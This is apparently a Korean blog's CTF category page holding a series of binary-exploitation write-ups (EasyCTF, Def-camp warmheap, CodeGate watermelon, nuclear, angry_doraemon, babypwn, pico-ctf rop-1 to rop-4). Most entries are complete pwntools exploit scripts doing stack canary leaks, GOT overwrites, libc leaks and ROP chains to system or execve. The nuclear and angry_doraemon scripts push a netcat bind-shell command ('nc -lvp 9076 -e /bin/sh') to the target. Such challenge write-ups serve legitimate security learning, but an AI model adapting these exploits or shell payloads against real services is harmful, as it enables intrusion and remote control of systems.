아주 간단한 문제 bof문제였다.


exploit

(python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\x1a\x85\x04\x08"';cat) | ./simple-rop


'CTF' 카테고리의 다른 글

CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22

warmheap

해당 바이너리는 64비트며 보호기법은 nx만 설정되어 있다.


바이너리를 실행하면

두번의 입력을 받고 종료된다.


심볼이 없어서 gdb로 함수를 열어볼 수 없다.


따라서 ida로 봐야했다.


main()함수의 헥스레이다.


v3에 16바이트 크기를 malloc으로 동적할당을 해준다.

그리고 *v3에 1을 넣는다.

그 다음 *(QWORD(v3) + 1)에 또다시 8바이트를 동적할당한다. v3가 가리키는 곳에서 한칸(8바이트) 추가된 위치에 할당을 해주는 것이다.

그리고 v4에 16바이트를 할당한 후 위와 비슷하게 *v4에 2를 넣는다.  그 다음 *(QWORT(v4) + 1)위치에 8바이트를 동적할당한다.

그리고 s라는 변수에 4096바이트를 fgets()를 통해 입력받고 strcpy()로 (v3+1)에 복사한다.

다음에도 마찬가지로 s에 4096바이트를 입력받고 strcpy()로 *(v4+1)에 그 값을 넣는다.

그리고 exit()함수로 바이너리를 종료한다.


우선 메인만 봤을 때는 main에서 다른함수로 jump하는 것은 없어서 이게 전부의 기능인듯싶으나 ida로 살펴보면 여러 함수가 많이 있다.

그 중 문제풀이와 관련될 것 같이 생긴 함수가 있어서 분석했다.

sub_400826()함수인데 보면 flag라는 파일을 읽어서 출력해주는 역할을 한다.

메인에서 이 함수로 넘어올 수 있는 방법은 eip를 조작하는 방법 말고는 없어보인다.


처음엔 어떻게 해야할지 막막해서 이전에 풀었던 문제들 중 힙에 대해 찾아보다가 알고보니 protostar excercise heap2와 너무 유사한 문제였다.


바이너리를 차근차근 짚어보면 쉽다.

우선 메인함수의 주소는 0x4008a8다.

x/52i를 하면 main의 어셈코드를 전부 출력할 수 있다.

여기서 bp를 적절히 주었다.

첫번째 fgets에 bp를 걸고 A 8바이트를 줬다.



일단 $rbp-0x1020 = v3 의 스택 상태를 확인해보자.

보면 $rbp-0x1020 에는 malloc(16)한 주소가 *v3에 있다. 그리고 $rbp-0x1018에는 *v4에 동적할당한 주소가 있다.

그리고 이제 strcpy(*((char **)v3 + 1), &s); 를 실행시킨 후 스택과 힙을 봐야한다.


*(v3 + 1)에 stdin이 복사되므로 *v4는 0x602010이므로 *(v3+1)은 8바이트가 더해진 0x602018이다. 즉 0x602018에 있는 주소에 stdin을 복사한다.

예상했던대로 0x602030에 아까 입력한 A 8바이트가 복사되었다.


그리고 그 다음 fgets에서 B를 8바이트 입력해봤다.

stdin에 B가 8바이트가 들어간 것을 확인할 수 있다.


이제 strcpy(*((char **)v4 + 1), &s); 를 확인해보자.

먼저 v4+1의 위치를 보면 

0x602070이다.

0x00602010에서부터 메모리를 확인해보면 

아까 확인했듯이 *v4는 0x602050이다.

즉 *(v4 + 1)은 0x602058인데 그 위치에 0x602070이 있다. 이 주소에 stdin을 넣는데.. 0x602030부터 overflow로 0x602058까지 덮어서 원하는 주소를 입력하면 eip를 조작할 수 있다.


eip를 조작해서 sub_400826()함수로 jump하면 된다.


다행히 이 바이너리의 마지막은 exit()로 끝나기 때문에 exit@got에 sub_400826()함수의 주소인 0x400826를 덮어버리면 바이너리 마지막 단계에서 sub_400826()함수를 실행하면서 flag를 읽어낼 수 있다.

0x602030부터 0x602054까지 40바이트가 차이가 나니 첫번째 fgets에서 dummy40바이트에 나머지 8바이트를 exit@got의 주소를 넣고 두번째 fgets에서 0x400826를 넣으면 익스가 된다.


exploit code

from pwn import *

exit_got = 0x601068
exploit_addr = 0x400826

r = process("./warmheap")

payload = "A"*40
payload += p64(exit_got)
r.sendline(payload)

r.sendline(p64(exploit_addr))
print r.recv()


'CTF' 카테고리의 다른 글

RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20

watermelon


먼저 이 바이너리는 32비트 리눅스용 바이너리다.


그리고 보호기법을 보니 카나리와 nx가 설정되어있다. rop로 접근하면 될 것 같다.

바이너리를 실행하면 위 처럼 먼저 name을 입력하고 메뉴를 선택한다.

이 메뉴들에 대해선 ida로 먼저 살펴봤다.


헥스레이로 main()함수를 보면 알 수 있다.

우선 v1변수에 4400바이트를 memset한다.

그리고 name으로 입력한 값은 bss영역인 0x804D7A0에 값이 들어간다. (익스플로잇 할 때 /bin/sh을 여기에 넣을 수 있겠다.)


그리고 보면 case문을 통해 메뉴를 이동할 수 있다.

먼저 4294967295는 0xffffffff다. 즉 -1이다.
-1은 메뉴로 출력되지는 않았지만 기능을 하나보다.
각각 1,2,3,4는 v1변수를 인자로 함수를 실행시킨다.

sub_80497FA()함수는 위와 같이 메뉴를 출력해주고 입력을 받는 함수다. 


우선 1번 메뉴부터 보면 


음악리스트를 추가하는 함수다.

dword_804CB88가 100이면 리스트가 꽉 찼다고 출력하고 리턴한다.

그 외엔 새로운 리스트를 추가할 수 있도록 진행된다.

근데 여기서 read()함수가 있는데.. 21바이트를 read를 하면서 1바이트의 오버플로우가 발생한다. 왜냐면 (44 * dword_804CB88 + a1 + 4)는 구조체라서 그렇다.

num[4] | music[20] | artist[20] 이렇게 되어있다. 즉 한 구조체는 44바이트를 가지고 있다.

그리고 두 번 read하는 것은 music과 artist를 받기 때문인데 둘 다 20바이트의 공간을 가지고 있으나 21바이트를 받게되면 오버플로우가 발생한다. 하지만 이걸로는 ret를 덮을 수 없다.

이 부분은 이후에 카나리를 릭할 때 필요하게 된다.


그리고 2번 메뉴는 단순히 저장된 음악 리스트를 출력해주는 함수다.


그리고 3번 메뉴를 보자.

이 메뉴는 이미 생성된 음악 리스트를 수정하는 함수다.

여기서 두번째 read()를 보면 200바이트나 수정을 한다. 즉 오버플로우를 일으킬 수 있다는 것이다.


시나리오는 먼저 1번 메뉴를 생성해 구조체의 최대 개수인 100개를 생성한 후 main()의 카나리를 릭 하고, 3번 메뉴를 실행시켜서 100번째 구조체의 artist를 수정할 때 canary부터 ret까지 덮어서 rop를 할 것이다.


우선 카나리를 구할 때 첫바이트가 널일 경우는 read에 21바이트를 입력하면 카나리가 출력이 된다.




exploit code
from pwn import *

p = process("./watermelon")
elf = ELF("./watermelon")

name = 0x804D7A0
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
pppr = 0x8048f0d
system_offset = 0x9ad60 #read - system

log.info("binary is executing...")
p.recv()
p.sendline("/bin/sh\x00")
p.recv()

log.info("looping..")
for i in range(0, 100):
	p.sendline("1")
	p.recvuntil("music")
	p.recv()
	p.sendline("A")
	p.recv()
	p.sendline("B")
	sleep(0.2)
	p.recv()
log.info("playlist is FULL!")

p.sendline("3")
p.recvuntil("100")
p.recv()
p.sendline("100")
p.recv() 
p.sendline("GGGG") # modify music
p.recv()
p.sendline("T"*20) # leak canary
p.recv()
p.sendline("2")
p.recvuntil("T"*20)
canary = u32("\x00" + p.recv().split("\x0a")[1][0:3])
log.info("leaked CANARY = {}".format(hex(canary)))

payload = "A"*20
payload += p32(canary)
payload += "A"*12

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += "JUNK"
payload += p32(name)

log.info("Exploit..")
p.sendline("3")
p.recv()
p.recv()
log.info("sending 100")
p.recv()
p.sendline("100")
p.recv()
p.sendline("AAAA")
p.recv()
p.sendline(payload)
p.recv()
p.sendline("4")
p.recvuntil("BYE BYE\n\n")

libc_read = u32(p.recv())
log.info("libc read = {}".format(hex(libc_read)))
libc_system = libc_read - system_offset
log.info("libc system = {}".format(hex(libc_system)))

p.sendline(p32(libc_system))
p.interactive()


'CTF' 카테고리의 다른 글

EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18

바이너리는 NX와 ASLR이 설정되어 있다.

바이너리를 열어서 main을 보면 소켓통신을 하는것을 알 수 있다.

실행을 시키면 1129번 포트로 소켓을 연다.


그리고 소켓으로 통신을 하려고 하면 에러가 뜬다.

그래서 다른 함수들을 살펴봤다.

sub_8048C65에서 내가 뜨는 에러와 동일한 string을 찾았다.

THIS_IS_NOT_KEY_JUST_PASSCODE 이라는 파일을 open()하지 못해서 뜨는 에러였다.

이게 실제 문제서버에선 읽을 권한이 없어서 메모리릭을 통해서 값을 읽어야 하는 부분이였다.  (사실 첨에 풀때는 내가 임의로 만들어 줘야 되는건줄 앎..)


이제 해당 파일을 만들었으므로 nuclear 바이너리를 실행할 수 있다.


이렇게 뜬다.

뭔가를 입력해야하는것같은데 아무거나 입력하면..


이렇게 커맨드를 알 수 없다고 나온다.


ida로 명령어를 찾아야 겠다.

sub_8048C65를 자세히 보면 명령어를 알 수 있다.


quit, target, launch 이렇게 세 명령어가 있다.


각 명령어에서 뭔가 취약점이 터질거같으니 각각 살펴봤다.

launch를 실행하면 passcode를 입력하라고 한다.

THIS_IS_NOT_KEY_JUST_PASSCODE에 passcode가 적혀있는데 실제 문제에선 권한이 없어서 사용자가 정상적인 방법으로는 읽을 수 가 없다.

그래서 이 부분을 메모리 릭을 통해서 알아내야하는 것 같다.


launch 는 버퍼보다 작은 사이즈를 읽기 때문에 오버플로우가 터지진 않는다.


다음은 target이다.


타겟을 보면 sscanf()로 위도와 경도를 입력받는다.


여기까지 딱히 취약점이 보이지 않는다.

그래서 찾은 부분은 명령어로 지정된 문자열 외의 문자열을 입력했을 때 어떻게 처리하는지 확인해봤다.


보면  ebp-568에 들어간 값을 출력함수로 출력해준다. 

그리고 launch의 passcode를 비교하는 부분을 다시 보면 패스코드를 읽어오는 변수의 위치를 알 수가 있다.


ebp-48에 passcode가 들어가는 것을 알 수 있다.

즉 ebp-568엔 내가 입력한 명령어 혹은 내가 입력한 passcode가 들어갈 것이고 ebp-0x48에는 문제의 passcode가 있을 것이다.

즉 ebp-568부터 ebp-48까지 null이 없이 쭉 이어진다면 passcode를 릭 할 수 있다.

근데 내가 입력할 수 있는 바이트는 512바이트가 전부다. ($ebp-48) - ($ebp-568) 의 거리는 520바이트인데.. 난 512바이트까지 입력할 수 있다. 릭이 불가능할 줄 알았는데 gdb로 직접 값을 넣어서 테스트 했다.


일단 테스트겸 A 500바이트를 넣은 것이다.

보면 0xbffff410에는 어떠한 값 8바이트 들어가 있고, 그 다음에 passcode로 보이는 문자열이 있다.

즉 512바이트까지 채워서 넣으면 passcode까지 릭이 가능하단 의미이다.


그 다음으론 passcode를 찾았으니 passcode를 입력하면 nuclear가 발사된다.

passcode가 맞다고 하는 부분이다. 여기를 잘 보면 pthread_create()함수가 실행되는데 그 함수의 인자로 들어가는 부분에서 esp+0x8에 들어가는 값을 보면 0x08048b9c를 실행하는 thread 함수이다. 0x08048b9c를 봐야겠다.


0x08048b9c 함수다.

이 함수 내부에서도 pthread_create를 call한다.

이번에도 esp+0x8에 들어가는 함수를 따라 가본다.


찾았다...


ebp-524 부터 1298바이트를 입력받는 부분을 찾았다.

핵이 발사되고 나서 그 때 값을 보내주면 이 부분을 공략할 수 있다.

먼저 가젯을 구한 후 rop로 문제를 풀었다.


이 문제에선 recv, send 함수가 사용 중이여서 이 함수들로 got leak과 system함수 찾기, got overwrite를 할 수 있었다.

익스 코드를 작성하고 익스플로잇을 했다.



exploit code

from pwn import *

r = remote("localhost", 1129)
elf = ELF("./nuclear")
print r.recvuntil(">")

r.sendline("target")

print r.recvuntil("--->")

r.sendline("123.123/123.123")

print r.recvuntil(">")

r.sendline("A"*512)
print r.recvuntil("[!] Unknown command : ")
r.recv(512)
passcode = r.recv()[8:22]
log.info("passcode = {}".format(passcode))
r.close()

recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
send_got = elf.got['send']
bss = elf.bss() 
ppppr = 0x804917c
system_offset = 0x18a5a0 # recv - system

log.info("recv@plt = {0}\nsend@plt = {1}\nsend@got = {2}".format(hex(recv_plt), hex(send_plt), hex(send_got)))

r = remote("localhost", 1129)

cmd = "nc -lvp 9076 -e /bin/sh\x00"

payload = "A"*528
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(cmd)+1)
payload += p32(0)

payload += p32(send_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got) 
payload += p32(4)
payload += p32(0)

payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got)
payload += p32(4)
payload += p32(0)

payload += p32(recv_plt)
payload += "AAAA" 
payload += p32(bss)

print r.recvuntil(">")

r.sendline("launch")
print r.recvuntil("nuclear :")

r.sendline(passcode)
print r.recvuntil("COUNT DOWN : 100")

r.sendline(payload)
r.sendline(cmd)

libc_recv = u32(r.recv())

log.info("libc_recv = {}".format(hex(libc_recv)))
system_addr = libc_recv - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
r.sendline(p32(system_addr))


'CTF' 카테고리의 다른 글

Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17

보호기법은 스택카나리와 NX가 걸려있다.

이 바이너리도 소켓으로 통신을 하는 바이너리라서 먼저 1번 터미널에서 실행을 시켜주고 2번 터미널에서 nc로 붙어야 한다.


실행을 하면 메뉴가 나온다.


근데 처음에 이 메뉴들을 실행을 시키면 open error라는 메시지가 뜨면서 바이너리가 종료된다.

그래서 아이다로 찾아보니 이 바이너리가 실행되는 위치에 각각 조건에 맞는 파일이 open()되지 않아서 open error라는 메시지를 띄워주는 것이였다.

그래서 각가 맞는 조건을 gdb와 ida를 보고 찾아서 생성해줬다.


그 후 각 메뉴를 실행해보면 도라에몽을 공격할 수도있고 체력을 회복시켜줄 수 도 있다.

각 메뉴에 대해 취약점이 존재하는지 확인해보았다.

4번 메뉴에서 취약점이 나온다.

4번 메뉴를 입력하면 y와 n을 입력받는데 그 때의 함수를 보면 read(fd, ebp-0x16, 0x6e) 이다.

즉 버퍼는 22만큼의 공간을 가지고 있는데.. read할 사이즈는 110이다.


해당 함수의 변수를 보면 

ebp-0x20

ebp-0x1c

ebp-0x16

ebp-0x12

ebp-0xe

ebp-oxc

ebp-0x8까지 있다.


즉 ebp-0x16부터 ebp+0x4까지 덮으려면 22바이트가 필요하다. 하지만 여기엔 카나리가 들어가므로 총 26바이트를 넣어준 후 다음 4바이트가 ret를 덮을 것이다.

이제 카나리 값을 알아야 하는데.

ebp-0x16에서 카나리를 릭해줘야 한다.

처음에 y를 8개 넣으니 당연히 아무값도 출력이 안된다.

그래서 9개를 넣어보았다.

하지만 9개도 카나리가 나오지 않았다.

즉 카나리의 첫바이트는 널바이트라는 것이다.

그래서 10개를 넣으니 카나리가 릭됐다.


카나리는 이렇게 릭을 해주면 되고..


처음엔 내부에 있는 execl()함수와 /bin/sh을 실행시키도록 코드를 짜서 rtl을 해보니 서버단에서 쉘이 따지고 attacker는 쉘이 보이지 않았다.

처음에 짠 exploit code

from pwn import *

def canary_leak():
	p = remote("localhost", 8888)

	print p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline("y"*10)
	print p.recvuntil("You choose '")
	dummy_canary = p.recvuntil("'!").split("\n")[1]
	canary = u32("\x00" + dummy_canary[0:3])
	ret = u32(dummy_canary[15:19])
	log.info("canary = {}".format(hex(canary)))
	log.info("ret = {}".format(hex(ret)))

	print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
	p.close()
	return canary

def exploit(canary):
	binsh = 0x804970d
	bss = 0x804b080
	execl_plt = 0x8048710
	pppr = 0x8048b2c

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12
	payload += p32(execl_plt)
	payload += p32(pppr)
	payload += p32(binsh)
	payload += p32(binsh)
	payload += p32(0)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)

	p.interactive()

if __name__ == "__main__":
	canary = canary_leak()
	exploit(canary)


위 방법은 attacker입장에선 무의미하다.

그래서 rop 가젯을 모아서 익스플로잇을 해주면 된다.

libc주소를 write()로 릭해서 system함수를 offset으로 구한 후 system()함수를 실행 해주면 익스가 된다. (최종적으론 리버스쉘로 풀었다.)



exploit code

from pwn import *

def canary_leak():
	p = remote("localhost", 8888)

	print p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline("y"*10)
	print p.recvuntil("You choose '")
	dummy_canary = p.recvuntil("'!").split("\n")[1]
	canary = u32("\x00" + dummy_canary[0:3])
	ret = u32(dummy_canary[15:19])
	log.info("canary = {}".format(hex(canary)))
	log.info("ret = {}".format(hex(ret)))

	print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
	p.close()
	return canary

def exploit(canary):
	read_plt = 0x8048620
	read_got = 0x804b010
	write_plt = 0x80486e0
	write_got = 0x804b040
	binsh = 0x804970d
	bss = 0x804b080
	system_offset = 0x9add0 # write - system
	pppr = 0x8048b2c
	#cmd = "/bin/sh -i <&4 >&4 2>&4\x00"
	#cmd = "ls -l | nc localhost 9076\x00"
	cmd = "nc -lvp 9076 -e /bin/sh\x00"

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12
	
	payload += p32(write_plt)
	payload += "JUNK"
	payload += p32(4)
	payload += p32(write_got)
	payload += p32(4)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)

	print len(p.recv())
	libc_write = u32(p.recv())
	log.info("libc_write = {}".format(hex(libc_write)))
	system_addr = libc_write - system_offset
	log.info("system_addr = {}".format(hex(system_addr)))	

	p.close()

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12

	payload += p32(read_plt)
	payload += p32(pppr)
	payload += p32(4)
	payload += p32(bss)
	payload += p32(len(cmd))
	
	payload += p32(system_addr)
	payload += "JUNK"
	payload += p32(bss)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)
	print p.recv()
	p.sendline(cmd)
	p.interactive()

if __name__ == "__main__":
	canary = canary_leak()
	exploit(canary)


'CTF' 카테고리의 다른 글

CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14

우선 바이너리는 32비트에서 실행가능한 바이너리다.


바이러리를 실행하면 bind 에러가 뜬다.

소켓통신으로 이 바이너리를 실행하고 있어서 그렇다.


보호기법을 확인해보면 nx와 카나리가 적용되어있다.


이제 ida로 main함수를 보면 main함수의 argv에 인자로 포트넘버가 들어갔으면 그 인자로 포트를 개방하고 만약 디폴트로 실행을 하면 8181포트로 소켓을 열겠다는 거다.


즉 문제와는 관련이 없다.


일단 문제를 풀려면 한개 터미널에선 바이너리를 실행해주고, 다른 한개에서는 nc로 8181포트로 붙으면 된다.

1,2,3번 메뉴가 있고 어느정도 입력이 없으면 타임아웃으로 바이너리가 종료된다.


우선 1번을 입력하면 내가 입력한 값을 echo해준다.

2번은 입력한 값을 reverse해서 echo해준다.

3번은 바이너리를 종료한다.


여기서 취약점이 있는 부분을 찾아야 한다.

사용자가 값을 입력하는 부분에 취약점이 존재할 것이다..(대부분 그렇겠지?)

gdb로는 심볼이 없어서 메인도 그렇고 함수들을 찾을 수 가 없다..
그래서 ida로 찾아보면 위 메뉴를 출력해주는 함수를 찾을 수 있다.

sub_8048A71()함수가 그 함수다.

좀 더 살펴보자.

아까 1번과 2번을 입력했을 때 사용자 입력을 받는 함수에 넣는 인자 부분을 보면 된다.


즉 버퍼의 크기는 52인데 100만큼을 사용자에게 입력받는 구조다. 따라서 오버플로우가 터진다.

52바이트만큼 오버플로우하면 sfp와 ret가 있을테니 덮으면 끝이 나겠다고  생각했으나 카나리가 있으므로 

카나리를 알아내서 똑같이 입력해줘야한다..

어떻게 찾지...


맨 위에 변수 크기가 초기화될 때 var_34가 사용자가 입력하는 값이 들어가는 변수고,  var_C가 카나리가 들어가는 자리의 크기다.


즉  1번메뉴를 통해서 더미를 40바이트 입력하면 카나리를 릭해서 같이 출력될 것이다.

그래서 버퍼의 크기를 가지고 처리하는 함수를 보니 그 함수안에서 recv()함수로 입력을 받는다.

recv()함수는 사용자입력 끝에 null byte를 붙이지 않는다. 따라서 그냥 40바이트를 꽉채워서 입력하면 카나리와 붙어서 한 변수로 인식을 할 것이다.

40바이트를 채워주면 된다. (근데 실제 테스트해보면 40바이트를 주면 값이 제대로 나오지 않는다. 왜나면 카나리의 첫바이트가 null바이트이기 때문이다. 그래서 일단 null이 아닌 임의의 값을 한개 더 추가해서 나머지 카나리 값을 릭해야한다.)


그리고 system@plt가 바이너리에 있으므로 rop가젯을 모아서 익스를 하면 된다.



exploit code
from pwn import *

elf = ELF("./babypwn")
system_plt = elf.plt['system']
recv_plt = elf.plt['recv']
ppppr = 0x8048eec 
bss = elf.bss() 
binsh = "/bin/sh <&4 >&4 2>&4"

log.info("system@plt = {}".format(hex(system_plt)))
log.info("recv@plt = {}".format(hex(recv_plt)))

dummy = "A"*41

r = remote("localhost", 8181) 
print r.recvuntil(">")
r.sendline("1")

print r.recvuntil(":")

r.send(dummy)

r.recvuntil(dummy)

canary = u32("\x00"+r.recv())
log.info("canary = {}".format(hex(canary)))

print r.recvuntil(">")
r.sendline("1")
print r.recvuntil(":")

payload = "A"*40
payload += p32(canary)
payload += "A"*12
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(binsh))
payload += p32(0)
payload += p32(system_plt)
payload += "BBBB"
payload += p32(bss)

r.sendline(payload)
print r.recvuntil(">")
r.sendline("3")

r.sendline(binsh)

r.interactive()


'CTF' 카테고리의 다른 글

CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14

ldd로 보면 동적실행 파일이 아니라고 한다.

즉 정적 컴파일된 바이너리라는 뜻이다.


문제 푸는데 오히려 더 쉬운 것 같다.


내부에 필요한 함수들이 전부 같이 컴파일이 되어있어서 안에 있는 함수 주소를 사용하면 됐다.


이전 문제들 처럼 취약한 함수가 있다.

똑같이 vulnerable_function()이 존재한다.

이 함수도 이전과 마찬가지로 사이즈는 0x88인데 0x200까지를 read할 수 있는 취약점이다.


여기서 ret를 조작하면 된다.

근데 이 문제는 정적 컴파일이기 때문에 plt와 got를 따로 구하지 않아도 내부에 있는 주소를 이용하면 된다.


필요한 가젯은 read()로 exec_string_addr이란 변수에 "/bin/sh" 문자열을 읽어들이고, execve함수로 해당 쉘 명령을 실행시키면 쉘을 얻을 수 있다.




exploit code
from pwn import *

p = process("./rop4")

libc_read = 0x08053d20
pppr = 0x804859c
pr = 0x80481ec
exec_string_addr = 0x80f112c
binsh = "/bin/sh"
execve = 0x80ad110

payload = "A"*140 
payload += p32(libc_read)
payload += p32(pppr)
payload += p32(0)
payload += p32(exec_string_addr)
payload += p32(len(binsh))
payload += p32(execve)
payload += p32(pppr)
payload += p32(exec_string_addr)
payload += p32(0)
payload += p32(0)

p.sendline(payload)
p.sendline(binsh)
p.interactive()


'CTF' 카테고리의 다른 글

CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14

rop1,2와 동일하게 품


exploit code

from pwn import *
 
p = process('./rop3-7f3312fe43c46d26')
 
read_plt = 0x8048360
read_got = 0x804a000
write_plt = 0x80483a0
write_got = 0x804a010
bss = 0x804a020
system_offset = 0x9ad60 
pppr = 0x804855d
pr = 0x8048344
binsh = "/bin/sh"
 
payload = "A"*140 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
 
payload += p32(write_plt)
payload += p32(pr) 
payload += p32(bss)
 
log.info("Exploit..")
p.sendline(payload)
 
read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
 
p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()

'CTF' 카테고리의 다른 글

CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
PlaidCTF 2013 ropasaurusrex  (0) 2018.07.14

rop-1과 동일하다.


exploit code

from pwn import *
 
p = process('./rop2-20f65dd0bcbe267d')
 
read_plt = 0x8048380
read_got = 0x804a000
write_plt = 0x80483d0
write_got = 0x804a014
bss = 0x804a028
system_offset = 0x9ad60
pppr = 0x804859d
pr = 0x8048364
binsh = "/bin/sh"
 
payload = "A"*140
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
 
payload += p32(write_plt)
payload += p32(pr)
payload += p32(bss)
 
log.info("Exploit..")
p.sendline(payload)
 
read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
 
p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()


'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
PlaidCTF 2013 ropasaurusrex  (0) 2018.07.14
Defcon 2015 r0pbaby  (0) 2018.07.13

1. write, read 함수사용

2. read()에서 bof 발생하여 rop로 해결


exploit code

from pwn import *

read_plt = 0x8048380
read_got = 0x804a000
write_plt = 0x80483d0
write_got = 0x804a014
bss = 0x804a024
system_offset = 0x9ad60 
pppr = 0x804859d
pr = 0x8048364
binsh = "/bin/sh"

p = process("./rop1-fa6168f4d8eba0eb")

payload = "A"*140 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(write_plt)
payload += p32(pr) 
payload += p32(bss)

log.info("Exploit..!")
p.sendline(payload)

read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))

p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()



'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
PlaidCTF 2013 ropasaurusrex  (0) 2018.07.14
Defcon 2015 r0pbaby  (0) 2018.07.13

+ Recent posts